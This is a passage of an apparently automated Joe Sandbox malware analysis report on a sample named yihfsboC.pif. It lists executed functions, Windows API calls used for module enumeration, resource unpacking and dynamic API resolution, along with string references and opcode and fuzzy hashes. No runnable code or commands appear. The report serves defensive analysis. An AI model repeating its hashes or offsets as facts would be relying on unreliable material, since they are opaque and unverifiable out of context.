Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 5cf10a9f76e784836047e293daf1c1a45dde89d4bd5289fd47833940f1f94b8f
Instruction ID: 8676353fc7cd72329d1871b5d1e38ff6baba3b5ab980d0207943815eea3dd7c6
Opcode Fuzzy Hash: 5cf10a9f76e784836047e293daf1c1a45dde89d4bd5289fd47833940f1f94b8f
Instruction Fuzzy Hash: D2217C71A006989FDB10DFA8C891AAEB7B9EF09700F9104E5E905E7251DB30DE40CBA5

Function 02B28338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B283C2), ref: 02B283A4

Strings

FlushInstructionCache, xrefs: 02B28351
Kernel32, xrefs: 02B28383

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: 784adca8a7e384750a369b37498409c999472911133d5b67b57caf007e2d1212
Instruction ID: 616b8a28569c6041a2362061019d9ee7c4397ed36f089c6be7e56f977986e096
Opcode Fuzzy Hash: 784adca8a7e384750a369b37498409c999472911133d5b67b57caf007e2d1212
Instruction Fuzzy Hash: F2016DB1654304AFEB00EFA4DD41F5A77EDE708B40FA184A0F908D7650DA74AD159A29

Function 02B2AF24 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2AF58
IsBadWritePtr.KERNEL32(?,00000004), ref: 02B2AF88
IsBadReadPtr.KERNEL32(?,00000008), ref: 02B2AFA7
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2AFB3

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction ID: 3db4d0fc2c1fb154ba514444d524e1075af158aa2dd4818251ed6f8d859da57b
Opcode Fuzzy Hash: f9183a96234abd28fa760f8205a755d9082090f483e4b04655cb7e9ac6d59d85
Instruction Fuzzy Hash: EC2184B264072A9BDB10DF69CCC0BAE77A9EF44351F004591FD18D7384E738E9158AA4

Analysis Process: yihfsboC.pifPID: 7240, Parent PID: 7128COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	78.7%
Signature Coverage:	24.2%
Total number of Nodes:	801
Total number of Limit Nodes:	48

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

!, xrefs: 0040201A
4, xrefs: 00402074
*, xrefs: 00401A1F
', xrefs: 00401AF6
o, xrefs: 00401B8D
E, xrefs: 00401E0F
v, xrefs: 0040206A
v, xrefs: 00401B5A
5, xrefs: 00402109
_._, xrefs: 00402257
%, xrefs: 004020FA
[, xrefs: 00401B37
W, xrefs: 00401B23
), xrefs: 0040202E
6, xrefs: 004020C5
x, xrefs: 00402088
{, xrefs: 0040205B
___, xrefs: 0040227D
W, xrefs: 00402033
x, xrefs: 00401B78
o, xrefs: 00402159
x, xrefs: 00401E69
{, xrefs: 00401B4B
{, xrefs: 00401E3C
U, xrefs: 004020F5
V, xrefs: 00402038
D, xrefs: 00401DFB
8, xrefs: 00401BA9
4, xrefs: 00401B64
{, xrefs: 0040211D
!, xrefs: 00401B1E
v, xrefs: 00401E4B
4, xrefs: 00402136
", xrefs: 00401B0F
., xrefs: 0040201F
h, xrefs: 00401A6F
W, xrefs: 00401B14
[, xrefs: 00402047
W, xrefs: 004020E6
o, xrefs: 00402097
0, xrefs: 00401BBD
:, xrefs: 00401B28
V, xrefs: 00401E19
*, xrefs: 004020E1
v, xrefs: 0040212C
., xrefs: 00401B0A
!, xrefs: 004020CF
x, xrefs: 0040214A
', xrefs: 00402006

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 29932C08 Relevance: 4.3, Strings: 1, Instructions: 3071COMMON

Download Yara Rule

Strings

N, xrefs: 29935FEB

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: e5c94f16dd69ad8bf376aa22ae052231c2cf979edf2a8a5ea46e4c6262053866
Instruction ID: 5a049bb9f104cea336f7e6a64a496fcf583d43e6fd916e0fb99b76502b3eb5ab
Opcode Fuzzy Hash: e5c94f16dd69ad8bf376aa22ae052231c2cf979edf2a8a5ea46e4c6262053866
Instruction Fuzzy Hash: E273F431C1075A8EDB10EF68C854A99FBB1FF99310F51C6DAE44867221EB70AAC5CF85

Function 29937138 Relevance: 3.5, Strings: 1, Instructions: 2263COMMON

Download Yara Rule

Strings

K, xrefs: 2993980E

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 1bfab8a7f7976a4bb97ada9220e01e144b97aec92684d1aa0d2a39018aad62ce
Instruction ID: 4b6821f6d5199854529f8020fd3d7ae743890f435d89612c12e521957ab55116
Opcode Fuzzy Hash: 1bfab8a7f7976a4bb97ada9220e01e144b97aec92684d1aa0d2a39018aad62ce
Instruction Fuzzy Hash: 09330330C147198EDB11EF68C894A9DFBB1FF99300F50D69AD4486B261EB70AAC5CF85

Function 28DFE660 Relevance: 1.9, APIs: 1, Instructions: 374
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2543136434.0000000028DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_28df0000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d1adedf97c1d2253334b4d784d1d3c4f4771baa00001636bd146bef4411786
Instruction ID: a26a77d392d920cd2078a1f885c03db8f86cc09b9df2ed5040ef45f74e404ce9
Opcode Fuzzy Hash: 52d1adedf97c1d2253334b4d784d1d3c4f4771baa00001636bd146bef4411786
Instruction Fuzzy Hash: E402E474D01218CFDB24DFA9C884B9DBBB2BF88344F1581A9D848AB395DB349E85DF50

Function 29951D28 Relevance: .8, Instructions: 801COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88cbc79630c21233a5b1e7bd6e1ccde81ed3339a142f164acad738e3f55d4a18
Instruction ID: 47ed6f4106f7aab7cabb70b4a22164dba67331a4c6b4bc39bf831b679972979c
Opcode Fuzzy Hash: 88cbc79630c21233a5b1e7bd6e1ccde81ed3339a142f164acad738e3f55d4a18
Instruction Fuzzy Hash: 38929F74E012288FDBA4DF65C898B9EBBB2BF88300F1081E9D44DA7261DB345E85CF50

Function 299562B0 Relevance: .7, Instructions: 740COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dca8b3bf9294fccdd7a1cf75cc2250ba0fde1a62e48a8b612bb670f0d3cfad5
Instruction ID: b9491dc7c4875f835245444f0567ac5b1c28d9faa4bf6ccaa1d557f2d28e9e71
Opcode Fuzzy Hash: 7dca8b3bf9294fccdd7a1cf75cc2250ba0fde1a62e48a8b612bb670f0d3cfad5
Instruction Fuzzy Hash: E8826B74E012288FEBA5DF69C994BDEBBB2BF88300F1081E9D50DA7250DB315E859F51

Function 29955480 Relevance: .7, Instructions: 728COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc1098ca8db2347b9222d0e8166ccfb51743ed6b812387c11ab591570fb7fd51
Instruction ID: 8bc5c6599b1540054a2f70355d2413936c938995e6b82888ac129310f5cb2436
Opcode Fuzzy Hash: fc1098ca8db2347b9222d0e8166ccfb51743ed6b812387c11ab591570fb7fd51
Instruction Fuzzy Hash: 5B828D74E012288FEBA4DF69C994BDEBBB2AF89300F1081E9D40DA7251DB315E85DF51

Function 299599E8 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 289e50ad10439fef59d77d04fc3c344b41f5ac8c482637ab973f95c6eb9c220b
Instruction ID: 5091e35eb2ba222e840fbeb2e97afcb95db874c435393b4556cf0a05982ac1ee
Opcode Fuzzy Hash: 289e50ad10439fef59d77d04fc3c344b41f5ac8c482637ab973f95c6eb9c220b
Instruction Fuzzy Hash: B4F1AE74E01228CFEB64DF69C884B9DBBB2BF98300F5081AAD909A7350DB355E85DF50

Function 29951198 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6acb5a440a3dc2bd1f291d0d4150ff635696a57f6537e340159d6479147ca676
Instruction ID: 746efb382d1a992f7caa48904095be83ed502083f08ae69194dae2a8fde94a2f
Opcode Fuzzy Hash: 6acb5a440a3dc2bd1f291d0d4150ff635696a57f6537e340159d6479147ca676
Instruction Fuzzy Hash: E9F19F74E01228CFDB64DFA9C884B9DBBB2BF59300F1081AAD509A7350DB355E85DF50

Function 2995A580 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfd7dda4d01a9b7c8f192464ed836aa0f9f69bc2ed5e824d9fb9306adc1bedc0
Instruction ID: bc4ab3188e6a3d0bfae37cab9ce55377872d8c351eabd5b1ea5064f7bc32159c
Opcode Fuzzy Hash: bfd7dda4d01a9b7c8f192464ed836aa0f9f69bc2ed5e824d9fb9306adc1bedc0
Instruction Fuzzy Hash: 94F1AD74E01228CFDB64DFA9C894B9EBBB2BF98300F1081AAD509A7350DB355E85DF50

Function 29959FB8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5804b6dabb70c994095bded3f070dcf9d263e64cf58b5803633b2026058768d
Instruction ID: 3218b2674aa8abfa4f179fe2097df46c57d1b97d414355bcea9989d008a09c18
Opcode Fuzzy Hash: a5804b6dabb70c994095bded3f070dcf9d263e64cf58b5803633b2026058768d
Instruction Fuzzy Hash: 6BF1AD74E01228CFDB64DFA9C884B9EBBB2BF99300F1081AAD549A7350DB355E85DF50

Function 29950BD0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c897148dabc76b6c35fb3ecd0fba94acabe14f9ef8b8b798beb3bf0f1dfc0fb3
Instruction ID: 6e8e04d5d77c4a17257615bc02928fecfa38021dc4827690b59250e2b05dfdd5
Opcode Fuzzy Hash: c897148dabc76b6c35fb3ecd0fba94acabe14f9ef8b8b798beb3bf0f1dfc0fb3
Instruction Fuzzy Hash: 9AF19D74E01228CFDB64DFA9C884B9EBBB2BF98300F1081AAD509A7350DB355E85DF50

Function 299593F8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a49105865beddbbe24cbf88b60b21040a601cff976a7777c84253329905787f3
Instruction ID: 563b336925ac72d09c142d43753be7d5ab8a0638e00eb675d5c23a0a45f3af59
Opcode Fuzzy Hash: a49105865beddbbe24cbf88b60b21040a601cff976a7777c84253329905787f3
Instruction Fuzzy Hash: A4F1BE74E01228CFEB64DFA9C884B9DBBB2BF88300F5081AAD509A7350DB355E85DF50

Function 29957710 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a31ec85d4e44ee9439643d229ed35178eb72522bf457ab560f3951b9559970
Instruction ID: d005e226db8feb63a370e7cb383deb5a36db8de3630a1e46abe57f92cd4e0b60
Opcode Fuzzy Hash: a1a31ec85d4e44ee9439643d229ed35178eb72522bf457ab560f3951b9559970
Instruction Fuzzy Hash: B8F19D74E01228CFDB64DFA9C884B9EBBB2BF99300F1081AAD549A7350DB355E85DF50

Function 2995B110 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e40030148d49801a8e7ee6d2ea79ef4e8ab5f07e51eb471421834fd82b6fe2
Instruction ID: 88e0d1fbbbf4dd30ed1fd1b4922b3469d3a6f4a06dad6cad1a00d735b458ae35
Opcode Fuzzy Hash: a2e40030148d49801a8e7ee6d2ea79ef4e8ab5f07e51eb471421834fd82b6fe2
Instruction Fuzzy Hash: EAF1AD74E01228CFDB64DFA9C894B9EBBB2BF99300F1081AAD509A7350DB355E85DF50

Function 29957120 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09dd836c99abb54467788f5e98f8c4d57ab75795a68e33d83cd441366cbd533b
Instruction ID: d08552c639d29116eef284a6e3a5e11948af27a72dcfda4c876a91ebefda0e16
Opcode Fuzzy Hash: 09dd836c99abb54467788f5e98f8c4d57ab75795a68e33d83cd441366cbd533b
Instruction Fuzzy Hash: 63F1AC74E01228CFDB64DFA9C884B9EBBB2BF99300F5081AAD509A7350DB355E85DF50

Function 2995AB48 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffc8ead3204a3481c8c1e1c208387a32bb6dcb9e95a0c3e66f56e98c7c5e722a
Instruction ID: 5b9bc13f7bc972c93e7a270f74405f79d8c6c1174579321752eed6e1c96266ab
Opcode Fuzzy Hash: ffc8ead3204a3481c8c1e1c208387a32bb6dcb9e95a0c3e66f56e98c7c5e722a
Instruction Fuzzy Hash: 49F1AD74E01228CFDB64DFA9C884B9EBBB2BF99300F1081AAD549A7350DB355E85DF50

Function 29951760 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da2dd5cda5a9d34cb008c1cc0e48dd578401de2b98c9edbad28419521044fd08
Instruction ID: c48319be05b8fc1a01df63daeebea6f5b95eff586eb33f4a4f7ad3aae650e144
Opcode Fuzzy Hash: da2dd5cda5a9d34cb008c1cc0e48dd578401de2b98c9edbad28419521044fd08
Instruction Fuzzy Hash: 5BF1AF74E01228CFDB64DFA9C884B9DBBB2BF59300F1081AAD549A7350DB359E85DF50

Function 299582A0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ededfa524d3c883f2eb347c9193b81a0e3b2a084bb6a6cd3c727af5f7e7924
Instruction ID: 6d58d3c60d8a5d6403efeee5688b5a185958127d73860c418b9e36b7a93bbd81
Opcode Fuzzy Hash: b2ededfa524d3c883f2eb347c9193b81a0e3b2a084bb6a6cd3c727af5f7e7924
Instruction Fuzzy Hash: 18F19D74E01228CFDB64DFA9C884B9EBBB2BF99300F5081AAD509A7350DB355E85DF50

Function 2995BCA0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac625902cc30727f9c1c3ab4b0ad1fb3647cd2e82fa679c7e48175d481624a35
Instruction ID: 94e7be709c69f7b82cc3c01b6f778a2fe708c33fa0ee1a584d390435d7c87637
Opcode Fuzzy Hash: ac625902cc30727f9c1c3ab4b0ad1fb3647cd2e82fa679c7e48175d481624a35
Instruction Fuzzy Hash: 44F19D74E01228CFDB64DFA9C894B9EBBB2BF99300F1081AAD509A7350DB355E85DF50

Function 29957CD8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 897877e2a69f70103da1b85a90f916a4f80a4a937fb4e6f453b66c720428bd7e
Instruction ID: 39c4e637ecc471db58d294c0589090492f397af3a245aa1651438e47e33bd903
Opcode Fuzzy Hash: 897877e2a69f70103da1b85a90f916a4f80a4a937fb4e6f453b66c720428bd7e
Instruction Fuzzy Hash: C0F19D74E01228CFDB64DFA9C884B9DBBB2BF99300F1081AAD509A7350DB355E85DF50

Function 2995B6D8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e568b0b83ff276a56bd3dca92a57c301f6d57d7e733f00c6b8505ca275090b
Instruction ID: 1578c99b65921f572600f357391744e0269e1a7f52e1de239ada29f23f206923
Opcode Fuzzy Hash: d0e568b0b83ff276a56bd3dca92a57c301f6d57d7e733f00c6b8505ca275090b
Instruction Fuzzy Hash: 94F1AD74E01228CFDB64DFA9C894B9EBBB2BF99300F1081AAD509A7350DB355E85DF50

Function 29950608 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a55c2deea43a348f93e07787a619e17c21c30add563e94bff6400e73111c9d0
Instruction ID: dab3723b0dbc2956bcbdd24217f2cfb403e94387ecb75d4ee589264be41b411f
Opcode Fuzzy Hash: 3a55c2deea43a348f93e07787a619e17c21c30add563e94bff6400e73111c9d0
Instruction Fuzzy Hash: F3F1BD74E01228CFDB64DFA9C890B9EBBB2BF98300F1081AAD509A7350DB355E85DF50

Function 29958E30 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f31d807ff5559f55fbe562d9de2017ac348b1346591d97dc23d9f2d38da935f0
Instruction ID: c8e505cfcf24016d23a53333b88b5c6fcb70f044bd70fa2a097efcbf20e7d152
Opcode Fuzzy Hash: f31d807ff5559f55fbe562d9de2017ac348b1346591d97dc23d9f2d38da935f0
Instruction Fuzzy Hash: 5AF1BE74E01228CFEB64DFA5C884B9DBBB2BF98300F5081AAD509A7350DB355E85DF50

Function 29950040 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99fdbd4a382b91c086b1ec231a3a5b90cd12a9888e7ec834e8653437ae0a998a
Instruction ID: f01c3d41f34ef39553304ffc3153db792f4dcb5ff96ca7d63a23fb7f269e4b97
Opcode Fuzzy Hash: 99fdbd4a382b91c086b1ec231a3a5b90cd12a9888e7ec834e8653437ae0a998a
Instruction Fuzzy Hash: CFF1AD74E01228CFDB64DFA9C884B9EBBB2BF99300F1081AAD549A7350DB355E85DF50

Function 29958868 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 234efe43fd963f91b8f540f6852a417f37da9e1a3080d2ba4d5dd674ab7c9834
Instruction ID: d09e558494689b107572900ad8659174766d107c5ff1a6fa36c2329ce17f849b
Opcode Fuzzy Hash: 234efe43fd963f91b8f540f6852a417f37da9e1a3080d2ba4d5dd674ab7c9834
Instruction Fuzzy Hash: 30F1AC74E01228CFDB64DFA9C894B9EBBB2BF98300F1081AAD549A7350DB355E85DF50

Function 2995C268 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d25fbd2c547d8b33e7caafc763649009f17789bdcbc81ca59f53cf22f889f0a
Instruction ID: 11a394d3c30f40b6abf5680461451202afd563a6b96a71e78e350841cffb32bb
Opcode Fuzzy Hash: 0d25fbd2c547d8b33e7caafc763649009f17789bdcbc81ca59f53cf22f889f0a
